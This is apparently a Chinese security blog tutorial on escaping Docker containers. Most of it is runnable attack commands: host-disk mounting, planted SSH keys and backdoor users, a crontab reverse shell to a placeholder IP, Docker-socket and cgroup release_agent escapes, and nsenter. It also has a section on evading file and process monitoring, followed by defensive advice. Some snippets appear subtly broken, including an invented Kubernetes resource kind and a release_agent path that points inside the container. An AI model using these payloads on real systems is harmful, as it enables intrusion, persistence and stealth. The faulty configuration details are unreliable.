PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Docker容器安全:镜像逃逸与容器逃逸实战

📅 2026年6月1日 📁 Hermes Agent ⏱ 5 分钟

【教程】Docker容器安全:镜像逃逸与容器逃逸实战

适合人群:安全测试工程师、运维安全人员、渗透测试初学者

前置知识:Linux基础命令、Docker基本操作、容器基础概念

实验环境:Ubuntu 22.04 + Docker 24.0+,建议在虚拟机中操作


一、前置准备

工具安装


# Docker环境(已安装则跳过)
curl -fsSL https://get.docker.com | bash
sudo usermod -aG docker $USER

# 逃逸检测工具
git clone https://github.com/initstring/docker-access-check.git
cd docker-access-check && chmod +x docker-access-check.sh

# 容器内常用工具
apt-get update && apt-get install -y curl wget nmap netcat-openbsd

# CDK(容器渗透工具集)
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -O /tmp/cdk
chmod +x /tmp/cdk

靶场搭建


# 创建易受攻击的容器(用于测试逃逸)
docker run -it --rm --privileged \
  -v /proc:/host/proc \
  -v /:/host-root \
  ubuntu:22.04 bash

# 普通限制容器(对比测试)
docker run -it --rm ubuntu:22.04 bash

二、核心原理

容器隔离的本质

Docker 容器通过三种机制实现隔离:

机制作用逃逸切入点
Namespace(命名空间)隔离进程、网络、文件系统等视图通过 --pid=host--net=host 暴露
Cgroups(控制组)限制资源使用(CPU/内存)通过漏洞逃逸到宿主机 cgroup
Capabilities(能力)细粒度权限控制--privileged 赋予全部能力

逃逸的本质

容器逃逸 = 突破 Namespace 隔离,在宿主机上执行代码

逃逸的三个层次:


Level 1: 配置不当 → 利用特权启动参数直接访问宿主机资源
Level 2: 内核漏洞 → 利用 Linux 内核漏洞突破 Namespace
Level 3: 容器运行时漏洞 → 利用 runC/Docker 本身的漏洞

三、实操步骤

🔴 场景一:特权容器逃逸(最常见)

检测是否为特权容器:


# 方法1:检查 capabilities
cat /proc/1/status | grep CapEff
# 输出 0000003fffffffff 或包含所有bit → 特权容器

# 方法2:尝试挂载操作
mount | grep /dev/sda
# 如果有输出,可以使用宿主机磁盘

# 方法3:使用 CDK 检测
/tmp/cdk evaluate

逃逸步骤(挂载宿主机磁盘):


# Step 1: 查看宿主机磁盘分区
fdisk -l

# Step 2: 挂载宿主机根分区到容器内
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3: 写入SSH密钥或计划任务
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> /mnt/host/root/.ssh/authorized_keys

# Step 4: 或者创建后门用户
chroot /mnt/host /bin/bash -c "useradd -m -s /bin/bash backdoor && echo 'backdoor:password123' | chpasswd"

# Step 5: 写入计划任务
echo '* * * * * root bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"' >> /mnt/host/etc/crontab

🟠 场景二:Docker Socket 挂载(逃逸到宿主机Docker)

检测:


# 检查 docker socket 是否挂载
ls -la /var/run/docker.sock 2>/dev/null || find / -name docker.sock 2>/dev/null

利用步骤:


# Step 1: 在容器内安装 Docker CLI
apt-get update && apt-get install -y docker.io

# Step 2: 通过宿主机 Docker Socket 启动特权容器
docker -H unix:///var/run/docker.sock run -it --rm \
  -v /:/host-root \
  --privileged \
  ubuntu:22.04 bash

# 在新容器中逃逸到宿主机
mount /dev/sda1 /host-root/mnt
chroot /host-root/mnt /bin/bash

🟡 场景三:Capabilities 滥用逃逸

常见有风险的能力:

Capability风险利用方式
CAP_SYS_ADMIN允许挂载、命名空间操作挂载 cgroup 触发 escape
CAP_SYS_PTRACE允许 ptrace 其他进程注入宿主机进程
CAP_NET_ADMIN允许网络配置修改修改 iptables/嗅探流量
CAP_DAC_OVERRIDE绕过文件权限检查读取宿主机任意文件
CAP_SYS_MODULE允许加载内核模块加载恶意内核模块

利用 CAP_SYS_ADMIN 逃逸:


# Step 1: 检查是否有 CAP_SYS_ADMIN
cat /proc/1/status | grep -i capeff | grep -q "000000000000" && echo "无特权" || echo "有特权"

# Step 2: 通过 cgroup notify_on_release 触发逃逸
# 创建 cgroup
mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir -p /tmp/cgrp/x

# Step 3: 设置 release 脚本
echo "#!/bin/bash" > /tmp/cgrp/x/escape.sh
echo "mount -o remount,rw /" >> /tmp/cgrp/x/escape.sh
echo "chroot / /bin/bash -c 'useradd -m -s /bin/bash evil && echo evil:password | chpasswd'" >> /tmp/cgrp/x/escape.sh
chmod +x /tmp/cgrp/x/escape.sh

# Step 4: 触发 release
echo 1 > /tmp/cgrp/x/notify_on_release
echo "/tmp/cgrp/x/escape.sh" > /tmp/cgrp/release_agent

# Step 5: PID 为 0 触发释放
echo $$ > /tmp/cgrp/x/cgroup.procs

# 若成功,宿主机上就会创建 evil 用户

🟢 场景四:容器逃逸到宿主机的 SSH 会话劫持

当容器共享了宿主机的 PID Namespace(--pid=host)时:


# Step 1: 查看宿主机进程
ps aux

# Step 2: 找到 SSH 会话进程
# 寻找 sshd 及子进程

# Step 3: 注入到 SSH 子进程
# 使用 nsenter 进入宿主机的命名空间
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash
# 此时你已经在宿主机的命名空间中操作

四、WAF/检测绕过技巧

绕过文件监控


# 使用 memfd 创建内存文件,不写磁盘
python3 -c "
import ctypes, os
fd = os.memfd_create('hidden')
os.write(fd, b'#!/bin/bash\\necho \"escape from memory\"')
os.fchmod(fd, 0o755)
os.execve(f'/proc/self/fd/{fd}', [f'/proc/self/fd/{fd}'], {})
"

# 或利用 /dev/shm(内存文件系统)
cp /bin/bash /dev/shm/.bash
/dev/shm/.bash -c 'echo "running from memory"'

绕过进程检测


# 将进程名改为系统进程名
cp /usr/bin/python3 /tmp/udevd
/tmp/udevd -c '
import os
# 逃逸操作...
'

# 或 fork 后改名
python3 -c "
import os, sys
if os.fork() == 0:
    os.chdir('/')
    os.setsid()
    # 改名
    with open('/proc/self/comm', 'w') as f:
        f.write('[kworker/0:0]')
    # 逃逸操作
    os.system('mount /dev/sda1 /mnt/host')
"

五、实战案例复盘

案例:Kubernetes 节点提权

场景:在 Kubernetes pod 中发现 /var/run/docker.sock 被挂载

攻击链


Step 1: 发现 docker.sock 挂载
Step 2: 通过 sock 连接宿主机 Docker 守护进程
Step 3: 启动特权容器,挂载宿主机根目录
Step 4: 写入 SSH 密钥到宿主机 root
Step 5: SSH 登录宿主机 → 获取节点 root 权限
Step 6: 使用节点凭证获取集群管理权限

关键命令


# pod 内检测
ls -la /var/run/docker.sock

# 通过 sock 启动特权容器
docker -H unix:///var/run/docker.sock run -it \
  -v /:/host \
  --privileged \
  alpine:latest chroot /host /bin/bash

# 宿主机上写入 SSH 密钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys

防护缺失点

  • Pod 不应挂载 Docker Socket
  • 应开启 Pod Security Policy / OPA Gatekeeper
  • 应使用运行时安全工具(Falco、Tracee)检测异常行为

六、防御建议

Docker 安全配置清单

检查项配置方式风险等级
❌ 禁止 --privilegeddockerd --no-privileged🔴 高危
❌ 禁止挂载 /var/run/docker.sock镜像扫描 + Admission Controller🔴 高危
❌ 限制 Capabilities--cap-drop=ALL --cap-add=NEEDED_ONLY🟠 中危
❌ 启用 Seccomp--security-opt seccomp=/path/to/profile.json🟠 中危
❌ 启用 AppArmor--security-opt apparmor=default🟡 低危
❌ 只读文件系统--read-only --tmpfs /tmp🟡 低危

运行时检测


# 安装 Falco(容器逃逸检测标准方案)
docker run -d --name falco \
  --privileged \
  -v /var/run/docker.sock:/host/var/run/docker.sock \
  -v /proc:/host/proc:ro \
  -v /boot:/host/boot:ro \
  -v /lib/modules:/host/lib/modules:ro \
  -v /usr:/host/usr:ro \
  -v /etc:/host/etc:ro \
  falcosecurity/falco:latest

# 检测规则 - Falco 会告警以下行为:
# - 挂载宿主机敏感目录
# - 尝试写入 SSH 密钥
# - 执行 nsenter
# - 特权容器启动

Kubernetes 层防护


# Pod Security Standard: Restricted
apiVersion: pod-security.standard/v1
kind: PodSecurityStandard
metadata:
  name: restricted
spec:
  # 禁止 privileged、hostPID、hostNetwork、hostPath 等
  levels:
    - restricted

七、常见陷阱

#陷阱正确做法
1认为容器内就是安全隔离配置不当的容器和宿主机的隔离非常脆弱,privileged 容器相当于宿主机 root
2忽略 Docker Socket 挂载/var/run/docker.sock 等于把宿主机 Docker 权限拱手相让
3忘记限制 capabilities默认的 Docker capabilities 集中包含多个危险能力(如 SYS_ADMIN)
4使用 root 用户运行容器尽量用 USER nobody--user 1000:1000
5挂载宿主机敏感目录/proc/sys/dev 等不应该被容器直接操作
6只用镜像扫描没有运行时防护镜像扫描解决已知漏洞,运行时防护(Falco)才能检测逃逸行为

八、总结(含速查表)

逃逸方法速查

逃逸方式检测方法利用命令防御措施
特权容器`cat /proc/1/status \grep CapEff`mount /dev/sda1 /mnt/host禁止 --privileged
Docker Socketls /var/run/docker.sockdocker -H unix://... run --privileged不挂载 sock
CAP_SYS_ADMINcapsh --printcgroup release_agent 逃逸去掉不需要的 cap
PID 共享`ps aux \grep sshd`nsenter --target 1不设 --pid=host
内核漏洞uname -aDirty Pipe、OverlayFS 等及时打补丁

一句话记忆

Docker 安全三原则:不特权、不挂 sock、不跑 root。

再加一条:运行时防护不能少,Falco 装上睡得着。

← 返回首页